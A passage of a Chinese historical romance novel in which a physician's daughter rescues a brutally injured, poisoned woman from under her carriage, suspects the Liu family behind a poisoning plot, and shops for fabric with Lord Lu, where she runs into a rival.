“你怎么会跑到这来?”还清减了不少,前些日子养出的软肉此时少了大半,掂着都咯手了些。
然而怀中的狸奴却不住挣扎,朝着某个方向向她示意。
噢,马车的车轮好像被什么东西卡住了。
“你下去看看。”“是,小姐。”
“小,小姐!!”
车夫似乎受到了极大的惊吓,从脊背至脚尖僵硬在原地,语不成调,喉咙深处发出“嗬嗬”的声音。
顺着他的视线看过去,
一条腿卡在马车的轮毂间。
19. 捡了个人
光线迷迷蒙蒙,被卡住的角落,具体细节看不清楚。依稀只能看到那条腿以不正常的姿势弯折,地上暗色的液体。
是血?
阮绮华一凛,轻手轻脚地将福宝放下,用身后的软垫挡住。
车夫的角度看不到马车轮毂的异样,眼见着就要下马查看。
“等一下!”
不能让他贸然下车。一是怕他被肢体再次惊吓,引起马儿发狂。二,则是怕耽误时间。
此处靠近御前正街,临近早朝时分,来往的马车多起来,免不得碰到相识的大臣。
景仁帝私下加赏,开国库的事情,知道的人还是越少越好。
“小姐?”“我没事,你先不要动,不要下马车。”
脑中快速过了一遍现在的情况,此地不宜久留,得清除障碍物才能走。
可周围只有胆小车夫和一只狸奴,最适合下去清除障碍的竟只有她自己。
她咬咬牙掀开车帘,观察过四周,确认周围暂且无人后,下马站定,镇定地对车夫吩咐道。
“安抚好马儿,不论一会儿出现什么动静,记住,不该看的不要看。”
得到对方战战兢兢却坚定的保证后,阮绮华俯身,看向被卡住的车轮,默默将一只手按在了袖箭上。
昏暗的环境里只听得见急促的呼吸声。
不知是车夫的还是她自己的。
果真是人的腿。看大小,还是女子的腿脚。
方才马儿受惊,将人拖行了足足数米,此刻车轮卡住的大腿处,已经露出了森森白骨。
膝盖朝内,脚尖却朝外。看弯折的角度和地上的血量,这腿就是没断,费劲救回来怕是也用不成了。
等等,方才的一阵挣扎,这女子居然没有发出一点声响?!
这不对。
她簇起眉,偏过头努力往那边够,不行,方才出于谨慎,站的不够近,看不清楚。
远处隐隐传来了马蹄的声音,恐怕是有踩着时间赶着上朝的大臣来了。
不能再耽误下去。
想起秋闱那日碎嘴又谄媚的几位尚书,要是撞见了少不得又是好一顿麻烦。
她心一横,不顾狂跳的心,索性直起身来抬步往车头的方向走。
今日就是来了个女鬼拦路,她也要给她搬出来。
阮绮华在车头站定,天光悄悄地亮了几分。
一丝光线漏出来。
“嘶——”
即便是跟着师傅走诊时见过各色病人,她也从未见过如此惨烈的景象。
女子已经完全昏死过去,除了颈侧还能探出微弱的起伏,呼吸竟是几不可闻。
浑身的衣服已经辨认不出颜色,过于浓重的血色干涸后变成大块大块的褐色。
没被车轮卷入的另一条腿被大大地拉扯开来,下衫完全破开了,露出新旧交错的疤痕。
不同于疫病感染带来的溃烂,这是纯粹的人为的恶。
阮绮华忍不住倒吸一口气,强忍着复杂情绪,将女子被卡住的大腿从车轮之中小心搬出。
即便女子已经昏死过去,没了知觉。可她还是不忍,只能格外谨慎,可轮骨卡得太深,几乎是嵌入了皮肉。
努力了半晌,还是进度甚微。太过轻柔没法将腿搬出的。
大臣的马蹄声愈发进了,车夫也有些蠢蠢欲动,想出声催促。
不能再等了。
她深吸一口气,只能努力找着角度。
然后用力一拉。
“斯拉!”
是布帛碎裂的声音,本来就被绞住的衣料支撑不住被扯烂。女子的腿也终于重获自由。
可与衣服粘连的腿肉也被连带着撕开一块。大片大片温热的血迹喷射而出,阮绮华的双手被血迹打湿。怀里的女子跟死人无异,这样看一眼就仿佛感同身受的剧痛,她竟只有本能微微的挣动。
咸腥的气味随风散开,她知道现场有多么惨烈。
顾不得太多了!
目之所及处,碎嘴子林尚书的马车已经出现在前面的拐角。
她看到林家的旗帜了。
阮绮华咬牙,方才的挣扎让她的双手已经脱力。只能将希望寄托于车夫,她尽量调整干涩的嗓子,力求让声音毫无波澜。“不许出声,现在下来帮我拖个人。记住,不许出声。”
血腥味太重,方才的动静让车夫多少有了些猜测。此时面对主子的吩咐也不敢怠慢,放下心中的恐惧,尽量将头偏向一边,下马帮忙。
说是克服了恐惧,接过“血人”时,手却还是抖的。
握着人的肩膀,却险些从手中滑落。
“快些!”阮绮华忍不住语带不耐地命令。
现在不是磨蹭的时候。
终于将人弄上马车的时候,两人都已经气息不匀。
女子其实很轻,但是一身的骨头好似断成了一截一截,让人忍不住放轻些,再轻些。
“走!”
阮绮华将帘子一把拉起,喝令车夫加快回程的速度。车夫得令,不敢回头,握紧了缰绳。
马车的车轮在夜色中加速滚动。
终于驶离了那一段路程,阮绮华提起的心也终于稍稍放下。
方才的环境太过昏暗,女子的情况又太过紧急。她只能摸索着将壁上装饰用的缎子扯下,凭着记忆给女子简单包扎好腿上的伤口。
天色大亮了,她将车窗的杆子撑起,让光线更多的透进来。
这......
阮绮华的目光落在了女子身上。方才来不及,如今一看,女子的身上,只能用遍体鳞伤来形容。
包扎的时候,她将女子破烂的衣服脱下,此刻她身上的伤完全展露出来。
火烧的灼伤,交错着长条的鞭伤,还有数不清的辨认不出来的伤。面上从右耳到唇角斜斜贯穿的刀疤,让她的面容变得可怖。
一旁的福宝偏过头,湖绿的双目冷静而克制。
“咪嗷。”
叫声将阮绮华惊醒,她终于从震惊中回神,还是忍不住蹙眉。
她方才简单探查了一下,不止被绞过的右腿,左侧小腿的肌肉也萎缩变形。
双腿尽断,遍体鳞伤,容颜被毁。这女子......到底经历了什么?
马车稳步前行,车轮在阮府门口缓缓停下。
“小姐,到了。”
外面传来车夫试探的问询,“小姐,需要小的帮忙吗?”
“你耳目放机灵些,盯着福宝不要乱跑。”
手已经恢复了力气,女子情况特殊,仿若损坏的布偶。阮绮华潜意识里不再希望男子随意触碰她。
她解下外衫,将女子包裹严实。
哄着福宝先下
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车,然后将女子横抱起,看着四下无人,快步入府。
方才手上脱力,此时才知道,这女子瘦得硌手,竟比福宝都重不了许多。
“小姐!”春桃迎上来,远远见到自家小姐穿着中衣,双手赤红,怀里抱着一个披头散发女子。
一路走来,似乎还在滴,滴血?!
“小姐这是谁?您您您怎么了??”春桃的小脸被吓得煞白,不是去拿了趟药吗?怎的就成了这幅模样了。
越看越觉得心都要跳出来。
“春桃,将马车上的药材搬进来,还有车夫,让他嘴上严实点。”
阮绮华没功夫做多解释,她脚步匆匆,沉着脸吩咐。
怀里的人就吊着一口气了。她不能停。“叫王府医过来!”
女子的情况危机,她一夜未眠,一会儿还得给陆大人熬药,需要个搭把手的。
王永安提着医箱赶到时,见到的就是满屋子的人。
车夫李泉佝偻着背站在旁边,时不时瞟一眼阮绮华的方向,仿佛被灼伤一般,又飞快地转回;春桃捧着水盆和布巾,一点一点给女子擦身,盆里的水已经变成了红色。
阮绮华则是手上不停,嘴里一条一条地发出指令,让门外守着的丫鬟拿不同种类的伤药来。
看到王永安进门,阮绮华好不容易才抽出空来打了声招呼,“王叔。”
“这是?”
“情况复杂,三言两语难以说清。”
阮绮华面色凝重,用眼神暗示现场人多口杂,不便开口。“王叔,还请您替李泉先上些药,他方才被狸奴抓了几道,需要处理一下。我实在腾不开手。”
被点到名的男子一个激灵,他没想到自己一个小小车夫还能被主家放在心上。
此时惶恐又不知所措,膝盖一软就要谢恩。
王永安赶忙扶着对方坐下,阮绮华的面色已经够凝重了,他知道眼下不是计较虚礼的时候。
“快坐下,谢恩的事情回头再说,先让我看看你的伤。”
狸奴挠花脸,算不得大事,但是若没有得到妥善处理,也可能有麻烦。
不过,阮绮华将人扣在这里,想必不只是因为对方受了些小伤。
王永安利索地将伤口处理好,阮绮华也终于将人安置好。
“什么时辰了?”
“回小姐,辰时了。”
该熬药了。
来不及抿口茶水,阮绮华撑着身子站起。状似不经意看向李泉的方向。
“今日的事情,该如何做,你可清楚?”
她不是大善人,回了府还将人扣在院中,不过就是为了提醒两句。
女子出现的地方接近御前正街,情况又特殊,她不希望今日之事有一丝一毫地走漏。
“小的清楚,小姐放心,今日小的被野猫挠了,迷迷糊糊就回去休息了。”
担心自己说的没有说服力,他又急急开口道,“小的,小的那时流落街头,快被饿死的时候是荣伯招我入府,给了我一口饭吃,今日又一次受了主家的恩惠,小的必定是不会背叛主家的!”
阮绮华不轻不重地瞥他一眼,“知道就好”有荣伯看着,她还是稍稍放心些。
“回去歇息吧。”
屏退四周的人,屋内终于安静下来。
只剩下王永安安静地等着少女开口。
20. 哪来的“狐媚子”
树影摇晃,光斑追逐狸奴晃动的尾巴跳跃。
竖起的瞳孔在书架顶端,无声地审视屋内的人。
情绪慢慢酝酿,阮绮华垂下眼眸,犹豫了片刻还是开了口。
叫人来的时候就没想着瞒着了。
“王叔,你先看看她的脉象可熟悉?”
她起身,示意王永安给床上的女子探脉。
“这……”王永安的眼神惊疑不定,他的目光在床上面如金纸的女子与面色凝重的阮绮华之间来回移动。
最后定定停在女子暴露在锦被外伤痕累累的双腿上。
交错的伤痕与堪堪止住渗血的伤口,让他的眉心深深皱起一道印。
这女子,遭受了非人的虐待。
更可怕的是。“此女的脉象,与陆大人当日的脉象,确有相似。”
“只不过此女外伤过多,身子亏空得只剩一副躯壳。更雪上加霜的是,此女已经有了两个月的身孕。”他的嗓音干涩。
“从脉象上看,她腹中的胎儿,称得上强健。”
“依我所见,怕是……”他顿了顿,“这姑娘怕是命不久矣。”
这姑娘已经瘦成了一把柴,胎儿却雪上加霜地在干枯的土地内贪得无厌地汲取养分,要榨干最后一滴血液。
这跟□□损魄的蛊虫有何区别。
何况,以女子的惨状,这个孩子怕也是被强行折辱下的产物。
在场的二位医者脸上的表情都不太好看。
“不过,若能去了腹中的孩子,尽快治伤后解毒,再细细加以温养,还是有救的,对吧?”阮绮华接过话,语气是对王永安问询,狭长的凤眼却只盯着床上的女子。王永安方才的话肯定了她的猜测,生长在淮南静水边稀有的毒株,确实也被这位姑娘服用了。
“不知小姐是在何处寻到这位姑娘的?”王永安问询的声音中带着谨慎和试探。
二人的目光都锁定在了女子紧握的手上。
这只紧握成拳的右手,上面留了被火灼烧的痕迹。手背的皮肉已经被熏黑,黄褐的印记是擦也擦不去的。
可这只手上紧握着的玉牌,甚至连上面的细绳都被保护得完好。
玉牌被握的太紧,他们看不到具体模样,方才春桃替她清理身子时,也未能松开她的手。
可上方露出的细绳,经历过灼烧却一点痕迹都没有留下。
王永安跟随阮家多年,多少也辨识得出来。那是少有的火浣布。
布料被抽丝,搓成了如丝的细线,然后紧密地编织成的挂绳。不是寻常人家能用上的。
细绳编织的花样也是再熟悉不过了。
因为阮绮华手上也有一根。那是阿娘在她五岁生辰时亲手编织的。
这位女子,该是权贵人家备受宠爱的女儿才对。
“靠近御前的正街。”阮绮华顿了顿。“发现她时,她一条腿卡在马车的车轮下,趴伏在地,满身伤痕,双腿尽断。”
不用说,他们也能想到,这女子怕是用双手支撑着身体,一步一步爬到御前来的。王永安能想象当时的惨状。
女子的伤势太重,想必爬不了多远。可离那条街道不远的,只有高官的府邸。
他眸光闪动,语气中隐隐带上了担忧,“小姐,这位姑娘伤势复杂,您一面防着柳家的针对,一面顾着陆大人那边,已经分身乏术,若再加上她,您的精力怕是难以支撑啊。”
他方才进门时,第一时间便注意到了阮绮华的面色。
一夜未眠,女子向来红润的脸色显得十分疲惫,眼下有掩饰不住的青黑;出门太匆忙,向来鲜艳的唇脂也忘了上,手上还一刻不停地处理伤者,王永安呆了有半个时辰,阮绮华连口水都没来得及喝,处理伤口的间隙,嘴里见缝插针地吩咐下人处理她带回来的药物。
“可若是不救,你我都知道她必将命不久矣。况且她的脉象与陆临渊十分相似,若想治好陆大人,找出解毒之法,她便是突破口。”
“我知您心系陆大人的情况,可身为朝廷重臣的陆大人都被人暗算至此,背后下毒之人怕是有滔天的权势。若能够只专注于解毒也便罢了,可这女子俨然出身存疑,贸然救下极有可能牵扯到京官的秘辛与朝堂的争斗,几番折腾下,我们无法仅仅只专注于解毒。这样下去,小姐您自己,乃至整个阮家,都有可能受到牵连。”
王永安控制不住地抬高了声音,双眼因为关切和激动染上赤色。
“其他人都可以不顾,陆大人的恩情,老爷可以想办法用别的方式偿还。小姐,您的安危才是最重要的,恳请您为了自己也为了阮家,避开此事吧!”
“可是王叔,我们已经避无可避了。”
阮绮华直直地看向王永安的眼中,狭长的凤眼中是与立誓要治好陆临渊那日相同的坚定。她曾经是这样想过,因为担心给家族麻烦,要避开朝堂的争斗,避开太多的牵扯,只管解毒治病便好。
可是……她狭长的凤眼中燃着火苗,眸光锐利地像即将出窍的利刃。“王叔,您看到了。肱股之臣受到暗算,官家女子如牲畜一般被人害得遍体鳞伤,叫我如何能作壁上观,一味闪避?”
“覆巢之下无完卵,若是整个大雍的朝堂都垮了,我阮家真的能安稳下去吗。”
能够抓住的机会不多,眼下有了线索,要是还因为担心隐患而逃避,那么之后面对的便是更加猛烈的打击。
“我需要您。”她的语气很轻,这是对长辈的请求。
屋内久久的沉默,王永安与阮绮华对视半晌,到底还是败下阵来。隐约有一声很轻的叹息,她看到王叔的目光柔和下来,逐渐变得和蔼。
“小姐,我可以为您做些什么呢?”
阮绮华的胸膛微微起伏,她知道王永安这是答应她,要瞒着阿爹支持她了。
“这位姑娘身上的伤,就交给您了。”王永安说得对,要同时顾着朝堂和病患,她确实有些分身乏术,有位医术过硬的亲信帮忙,她会减轻很大的负担。
春桃恰好端着熬好的汤药进来,“小姐,药熬好了,按着您的方子足足熬了一个时辰。需要现在喂给这位姑娘吗?”
阮绮华平复好情绪,对春桃点头示意。时间确实差不多了,她方才特意叮嘱春桃熬了两份药出来。
这女子的情况比陆大人糟糕太多,承受药物的能力也要更差。若她用完药一刻钟内没有特殊反应,她便可放心些将药带给陆大人。
春桃得了吩咐,当即轻轻将女子的头部抬起,一勺一勺将褐色的药汁喂进去
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床边的阮绮华与王永安均紧张地盯着女子的反应。
也许是伤的太重,喂药时被动的吞咽动作让女子皱起了眉头,阮绮华也跟着微微蹙眉。直到看到整碗药汁被喝完,女子的脸色好起来。她的面色才缓和几分。
药汁顺着融入骨血,女子没再有别的反应。
阮绮华知道,至少这方子是安全的。
“时间不早了,小姐,您现在过去吗?”春桃看了看外头的日头,高悬正中,是时候提醒阮绮华去给陆大人送药了。
方才陆府门口的小仆已经朝她们府宅探头探脑几次了。
“好。王叔,那这边就交给您了。”阮绮华接过春桃递来的提盒。朝王永安颔首。
王永安头正接替着守在女子身边,目光一眨不眨地盯着她的反应。此时听见阮绮华的声音,头也不回地摆摆手。
阮绮华心中流过暖流,忙碌了一夜的她心中终于稍微松快了些。提着匣子迈向洒满阳光的院子。
刚刚出自家府宅的门,果然看到了一个满面焦急,朝她家探头探脑的陆家小仆。远远瞅见她,那人面上的焦虑瞬时换成了笑容。
“阮姑娘!您终于来啦,我家大人等您许久了。”
等了许久?
阮绮华提着匣子,一面随着小仆向内走,一面冲小仆疑惑道,“我昨日说的不是午时吗?现在应当还未到时间。况且,大人今日休沐吗?怎会有时间等我。”
那小仆嘿嘿地笑了两声,“大人说昨日喝了您的药之后好了许多,今日想巩固药效,未去上朝,就等着您来呢。”
朝都上不了了?
阮绮华面上狐疑,方子是她亲自开的,没人比她更清楚。治疗寒症的药罢了,哪有那样大的效用。
怕不是症状加重了出不了门吧!
陆临渊的基本情况较那女子要更好些,可她没有亲自诊脉,总归是对他的情况没底。眼下只想快些见到人来确认。
思及此,阮绮华加快了脚步。
“阮姑娘。”江上清风般清润的嗓音响起。
男人猝不及防地出现在了她的眼前。
定睛一看,不是陆大人是谁?
阮绮华来不及放东西,匆匆站定,便盯住了对方的脸。
阳光下,这人温润得好似春天里江边吹来的清风。
昨天被她说了几句之后,颇为乖觉地穿厚了些。依旧瘦削的面上好像确实多了几分红润。不过眼下还是有青黑。
昨日她走后,怕是又同李副使忙到了后半夜。
她忍不住暗暗思忖,今日得快些结束服药和用膳,不能耽误大人太久。
面对阮绮华的审视,男人不太清楚她的用意,却为了方便她观察,微微低下头,看向她的双目中尽是乖巧。领口处,上好的雪白狐狸毛随着他的动作微微晃动。衬得男人清俊的面容多了一些可爱。
嗯,是有几分姿色。
阮绮华扫视一番,心中不合时宜地肯定了一番陆大人的外貌。不过想到柳如霜对她的针对,她的心中不免又是一番腹诽,虚成这样还招蜂引蝶。
啧。
她提着药盒,绕过陆大人,将药盒往他身后的桌上一放。不咸不淡地说了句,“大人,该喝药了。”
21. 紧张且生硬
怎么又变成大人了,昨日分明还是临渊兄的。
阮绮华躲避的动作那样自然流畅,视线都刻意地避免了跟他的交集,只剩他自己还站在原地摸不着头脑。
面上的柔情还僵着,没搞清称呼为什么倒退了,又听到少女勾起唇角,闲适地靠着椅背,轻飘飘地冲他笑。
“大人看着精神不错,三请四请不肯来喝药,怕不是不愿见到我?那我明日不来便是了。左右想给大人送药的姑娘多的很。”
阮绮华的心思变得太快,饶是心有九窍玲珑的陆大人此刻都头脑发昏,方才初见时分明还脚步匆匆地盯着他看,怎的突然就对他一片嫌弃了?
陆大人纵横官场多年,难得觉得自己笨嘴拙舌,“姑娘误会了。什么多得很……不对,我是说,临渊没有半分不愿!”
边说边快步走过去,主动将装有药碗的提盒打开,拿出碗来摆在面前,本人则是端坐在梨花木的椅上,看向阮绮华的眼中带有暗暗的讨好。
见他如此,阮绮华心里的邪火熄了几分,用指尖快速触碰碗沿,探了探温度。
还是有些烫。
陆临渊给她亲自斟了茶,浮沫在瓷盏中漾开,陆大人的声音响起,“福宝有好些日子未见到阮姑娘,这几日他怕是想你得紧,不知姑娘一会儿可有空去接他?”
呵,福宝。
阮绮华心中冷哼,看这样子,是还不知道福宝丢了呢。
心里那股子邪火又是蹭蹭蹭地冒,一个眼刀飞了过去。自己忙乎一夜写房子抓药救人救猫,你一无所知便算了,连福宝的下落都不清楚。
想起自己捡到福宝时,他消瘦了几圈的下巴,和褴褛的小褂子,她忍不住磨牙。
“哦?是嘛。大人先把药喝了吧,天凉,趁热喝了,也好暖暖脾胃。”饮食过烫的东西不好,但偶尔一次,无伤大雅,却刚好解气。
她弯起凤眼,微笑着注视对面的男人。
不动声色的威慑下,陆临渊只能皱着眉喝药,今日的药方与昨日不同,又要苦了几分。温度太烫,也不能像昨日一般一饮而尽,只能小口小口反复抿着喝。
俊美的眉毛抑制不住地拧起,终于喝完的时候,陆大人的眼中已经泛起泪光。
“用膳吧。”陆临渊说道。
旁边的李三下去跑腿,明礼堂只剩下阮绮华与陆大人。
阮绮华瞥了眼男人的窘状,心中满意了些许。于是手上端起茶盏,漫不经心地问道。“大人可知,福宝如今在哪?”
“自那日阮姑娘将福宝送回,如今应该是一直在大理寺的后院,由卫队的赵队长看着。”
赵队长,赵六子?她想起那日大理寺门口同她纠缠半天,不好意思直视她,却一个劲叫福宝为“霸天”的高大汉子,脑中有了思索。
陆大人公务繁忙,带着狸奴确实是有诸多不便。难不成福宝真是按赵六子所说,是陆大人从路边绑来,在阁中称王称霸的霸天?
如果是这样,那么福宝偷跑出去,似乎又不是不可理解的了。毕竟生性活泼的狸花确实是不太关得住。
赵大人那样粗犷的性子,也不大像是会拘着小狸花的人。
不过,即便如此,连自己的亲宠都不清楚去向的陆临渊,仍旧是不称职的。
阮绮华的面色变了又变,直到菜色上齐都没有完全缓下来。眼睛固执地不愿再同陆临渊对视。
陆临渊心下忐忑,不明所以。
昨日说他喝药磨蹭,今日应当是改正了的;说穿太少,今日也加了外袍。阮绮华这样,可是在何处受了委屈?他挽起袖子亲自替她布菜,再趁布菜间隙偷偷观察她的眼色,轻声开口。“可是有何处不妥?”
问话时,语气中又掩不住的小心。方才受了烫,陆临渊眼角的红色还没褪去,眼下的黛色更是增添了几分疲惫。
阮绮华鼓胀的怨气像被针挑破的灯笼,悄无声息地泄了气。她听得出来陆临渊的试探之意,余光告诉她,男人的一双眼要黏在她身上了。
从见面开始,她的情绪便随着细枝末节的猜测不断起伏。
她如此对对方挑剔,还有一个很重要的原因。那便是她将自己放在了牺牲者的角度,希望从获益者身上索取养分,让自己觉得牺牲是值得的。
自己确实是冒着生命危险也要替陆临渊解毒,可说到底,这是她的选择,陆大人对此,一无所知。
又如何能够以此为借口苛刻他呢?
思及此,阮绮华微微叹了口气。“今日寅时左右,我在御前正街捡到了福宝。瘦了不少,还有些狼狈。现在在我府上照料着,你不必太过担心。”
捡到了福宝?
陆临渊呼吸一滞,不经意下,手中卸力一松,若不是极快的反应能力让他及时补救,筷子差点便落了地。
能在卫队当差,还当上队长,赵六不是个拎不清轻重的人。陆临渊的大脑快速回想。
今日寅时……昨夜探子来报,柳家丢了人,李一彦同他在书房商议到后半夜。这期间确实是有下人来报,表示赵六来家中寻他。可他当时太过疲惫,一心只关注柳家的事,对赵六子进屋后的几次欲言又止都视而不见,只摆摆手让他先回去,最后也没跟赵六说成话。
福宝活泼,先前也有出去狩猎,一两日不回来的情况。现在想来,赵六子昨日来报,应当是那是便发现福宝丢失,来找他汇报,却因为他忙于案件,没有开口。
他抬眸,眉心轻轻皱起,神色认真地看向阮绮华。
对方对他的惊讶并不意外,手上夹菜的动作未停,头也不抬地平静用膳。甚至还贴心地为僵住的陆临渊送来一筷子脆肚。
“大人,狸花猫生性活泼,不拘着养是合理的。”
“不过我还有一个问题想问。”阮绮华放下筷子,轻轻抿了口一旁放着的茶水。
“大理寺在皇城西侧,我捡到福宝时,它在御前正街,若是我记得不错,那应当是各位大臣上朝的必经之路,那个附近,是有福宝的朋友吗?”
御前,正街附近?
陆临渊眼中划过暗色,心中升起若有若无的猜测,面上却不显,只老实地回答阮绮华的问题。“那处正对着皇宫。原先是几位亲王的住所,自从新帝即位后,几位亲王去了封地。宅子便易了主。”
“如今住着的不过三户。将军宋家、吏部尚书林家,还有,户部尚书柳家。”陆临渊瞥了一眼阮绮
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华的表情,见她不接话,只能接着说道,“几位大人阮姑娘或多或少已经接触过。宋将军刚正不阿,赫赫威名;林尚书为人圆滑,在朝中左右逢源;柳尚书两朝元老,是圣上跟前的老人。”
“也许是陆某消息不够灵通,倒是没听说这三位大人家有养宠的传闻。”陆临渊语气歉疚。阮绮华见状摆摆手,“不过是闲聊问问罢了,无事。”
柳家......又是柳家。
阮绮华心下思忖,如果那女子出自柳家,事情便兜兜转转绕成了圆。
“柳尚书,是否曾出京做官,或有什么在江南的亲眷?”她犹豫片刻,还是问出了口。
她知道这样突兀的问询很怪异,可能会引起陆临渊的警惕。但时间紧迫,她没法思虑过多。如果柳春明是下毒之人,那么他至少应当去过淮南,或者有淮南的亲信,才能对那样稀罕的毒物有了解。
贪污国库,谋害重臣。若能循着线索,找出证据,让这罪名成立,柳家再崇高的地位,再被陛下喜爱,也将要在顷刻间倒塌。
屋内安静了半晌。
对面的男人沉默着,看向她的双目中是她看不懂的深沉。
阮绮华只能听见自己因紧张和兴奋而急促的心跳。
她在等待陆临渊的答案。
但答案出人意料。
“不曾。”陆临渊将视线挪开,慢条斯理地停箸,用手边的巾子将手擦净。“柳尚书祖上数代都是京城人士,不曾有出京做官的经历,据我所知,也没有任何来自江南的亲眷。”
“阮姑娘。”
陆临渊毫无征兆地唤了她一句,唇角地勾起一抹温润的笑。
男人明明不知道关于中毒的一切,可被这样沉静的黑眸注视着,阮绮华心中还是难免有被看穿的慌乱。手心莫名蒙了汗,她只能生硬地转开话题,吩咐下人将用过膳的桌案撤下。
今日用膳的时间较昨日短些,两人对坐,气氛有些凝住。好在陆临渊神色如常,先开了口。
“阮姑娘下午可有安排?”
“还不曾。”捡来的女子有王永安照料着,一时半会儿醒不来。
陆临渊含着淡淡的笑意,“两日后便是游湖,首次参与皇家游船,不若一同去衣坊买几匹缎子来。”
皇室游船,陆大人也去?
阮绮华脸上的困惑太过明显,陆临渊见状,自然地补充道。“皇室子嗣本就单薄,几位宗亲去了封地之后,游船的人数便更少了。陛下年幼时,我有幸当过几年伴读,是以每年的游湖,除了皇室和秋闱的几位优胜者外,我也可一同前去。”
当过几年伴读,这应该是指陆临渊未成为摄政王的那段时日吧。
景仁帝势弱,朝中无人,陆临渊只是失去双亲,无人庇佑的普通权贵子弟。她才来多少时日,便已经被京官的明争暗斗闹的疲于应对,年纪尚幼的陆临渊,不但没有被拆吃入腹,还以强硬手腕,护住陛下坐稳了朝堂。
难怪景仁帝对他的感情特殊。
阮绮华的脑中不可抑制地出现两个小可怜报团取暖的画面。联想到陆大人身上中的毒,她也忘了方才的心虚,看向陆临渊的眼神愈发柔软。“那便一同去吧。”
22. 有人送钱
这几日接连着晴天,日头晒着倒是暖和。
竹制的摇椅晃晃悠悠,制衣铺子的胖掌柜一手提着茶壶,一手把玩着核桃手串。
噫,舒服得嘛。
他的眼睛享受地眯起,嘴巴咂摸两下。刚准备眯一会儿觉,有马车的声音传来,他耳朵一动,抬着眉毛远远地望。做买卖的最要紧就是眼观六路,耳听八方,而他刚好都是个中好手。
乖乖,黄底黑印,那是陆家的马车?!
瞟见车上的家族印记,掌柜的一个弹射起来,茶壶差点落了地。什么风能把陆大人这样的贵客吹来?他脚下急急迎上去,脸上哪还见得到方才的懒散,肉都堆起来,早转换成了嘴角眉梢热情的笑。
“陆大人来啦!今日要点什么料子呢?您看这片可都是今年从江南新进的香云纱,颜色沉稳低调,是最最符合您的身份的了。”
被称为衣坊的并不是一家铺子,而是一整条街。巷口的胖掌柜家是这条街生意最旺的,不仅是因为他对客人的态度好,也因为他早年间认识了位来自江南的富商。
江南是真正的好料子出产地,有了这层关系,他家的料子的花样总是要比其他家时兴些,不少京官也光顾他的生意。
见到陆大人下马车,他一个箭步冲上,不远不近地跟在了陆大人身边。
陆大人身高腿长,随着下马车的动作衣袍翻飞。此时面对胖掌柜的热情邀约,也不急着接话,只稍稍往侧边让一步,紧盯着身后女子安稳落地,才转过头说道。
“可有女子的时兴衣料?”
“女子,有的有的!”胖掌柜愣了一下,嘴里的话差点刹不住车。女子,这女子是谁?
阮绮华初来京城,胖掌柜尚且识不得,但做买卖的敏锐度总要高些。每年新进的料子都是要先送到陆大人府上供陆家挑选的,今天陆大人亲自来,怕不是要自己挑,而是给这姑娘挑。
他眼睛一转,已经摸清了今日真正的主顾,堆笑着放慢了步子,转而跟在阮绮华身边。
“我还是头一次见到这样美的姑娘,肤若凝脂、眉如远黛,前几日刚好来了一批烟粉的水光锦,正趁您气质。”
“拿出来瞧瞧吧。”掌柜这话说得真心,陆临渊赞同地点点头。
见陆大人肯定,胖掌柜心中更喜,麻溜地将人带进铺子,手上摇动两下,唤伙计赶紧去后头将料子拿来。
阮绮华的面上只礼貌性地笑笑,不置可否。她见过的好料子当是比胖掌柜听过的还要多,今日来不过是方才被陆大人迷了眼。眼下陆临渊开心,便行。
她漫不经心地环顾一圈铺子里的衣料,在某处停住,然后冲身旁的陆大人指了指对面的衣服。
“这几件也是不错的。”
“嗯?”
陆临渊随着她的视线望过去,竹枝的暗纹,藏蓝的底色,那显然是男性的成衣。不曾想过阮绮华进门第一件事居然是替他看料子,陆临渊一时没反应过来,疑问出声。
陆大人的歪头疑问,阮绮华觉得有些可爱。她扭头看过去,挑挑眉毛,扬唇笑得真心实意。“陆大人气质温润、身形修长,穿这件应当是会好看的。是否要试试?”
美梦成真的陆大人此时嘴角不可抑制地抬得很高,或许是想到什么,他抬手在唇边轻咳一下,堪堪将笑意掩住。“听阮姑娘的。”
“还有这件、那件,看着都是衬你肤色的。”阮绮华素手轻点,一溜指过去竟点了五六匹料子。
“那便都要了吧。”
胖掌柜笑得嘴都合不拢,应和道,“阮姑娘好眼力,都是新来的好料子,听您的、听您的。”听阮姑娘的好呀!
哪有这样好做的生意,都不用他磨破嘴皮子,客人自己便选了贵价的料子。一面说,他一面乐呵呵地将方才被指到的衣料拿起,请陆临渊进内间换衣。
一时间外间只余下阮绮华一人。
铺子里的衣料很多,她垂着头,手上不时翻动几下。在视线到达一处时,停了下来。
这样巧,还能碰上她家的料子。
她伸手抽出那抹黛色来,放到面前细细瞧。阳光下,三色丝线紧密交织,叠出云纹,手上稍微变换个角度,透出了第四种颜色。
确实是自家的,她能肯定。
“这料子不错。”一只手从她面前夺过了布料,“表兄替我买下可好?”
熟悉的嗓音,熟悉的人。
阮绮华心中暗暗腹诽一句晦气,抬头果然对上了柳如霜故作惊讶的脸。
“好巧啊阮妹妹,在这里遇见你了,你也来为游船买料子吗?”
“不巧,若是没有记错,柳姑娘应当没有资格参与后日的游船。”她可没忘记那日柳如霜被气得扭曲的表情。
果然,女子脸上的笑僵在脸上,嘴角不自觉用力,目光中的怨毒掩都掩不住。
到底是文官之女,官场上的圆滑学得十成十。此时柳如霜居然还能强行整理好表情来,“我不过是为表兄选料子,难不成阮妹妹连这样也不许吗?”
那你抢我料子作甚?
回怼的话含在嘴中,她到底还是没来得及说出口。因为站在柳如霜身后的季赫楚开口了。
“两位妹妹,今日见面确实是缘分。因这点小事闹不愉快不值当的。”说罢冲阮绮华露出了安抚的笑。
“阮妹妹家大业大,见过的好料子应当是数不胜数,今日不妨便让给如霜表妹?”说罢,手上便要将布料递给胖掌柜。
胖掌柜刚领着陆大人去后面厢房换衣服,刚刚才回来。此时一进门,便遇到如此棘手的画面,眼睛左看右看,手刚要接过季赫楚的布料,眼睛就对上了阮绮华冷冷的眼神。
一下子汗都要下来了。心中不住地发苦,我的个财神爷啊,平日里向来都是将衣料送上门,让这些个大人物尽情挑选的,今日这是怎的了,一两个上门了,柳尚书家的和季翰林就跟着上门了。
还偏偏看中了同一块料子。
“怎的,是季大人的近日在陛下身边的时间太多,不曾亲自到铺子里看料子,让掌柜的如今连季翰林都不放在眼里?”
柳如霜一开口,便是阴阳怪气,明里暗里提醒胖掌柜,季赫楚如今可是陛下眼前的近臣。今日若是得罪了季赫楚,后果得掂量清楚。
一匹料子的事情,也能扬起官威来压人。
阮绮华不屑于再同他们说话,自得地站在一旁,不动声色地在一旁看这对表兄妹一唱一和。
胖掌柜不敢接柳如霜的话,面上赔笑,手上却是纹丝不动。季翰林是当红的朝臣不错,可是这位阮姑娘可是陆大人护着的。
再受宠,他能盖过陆大人去?
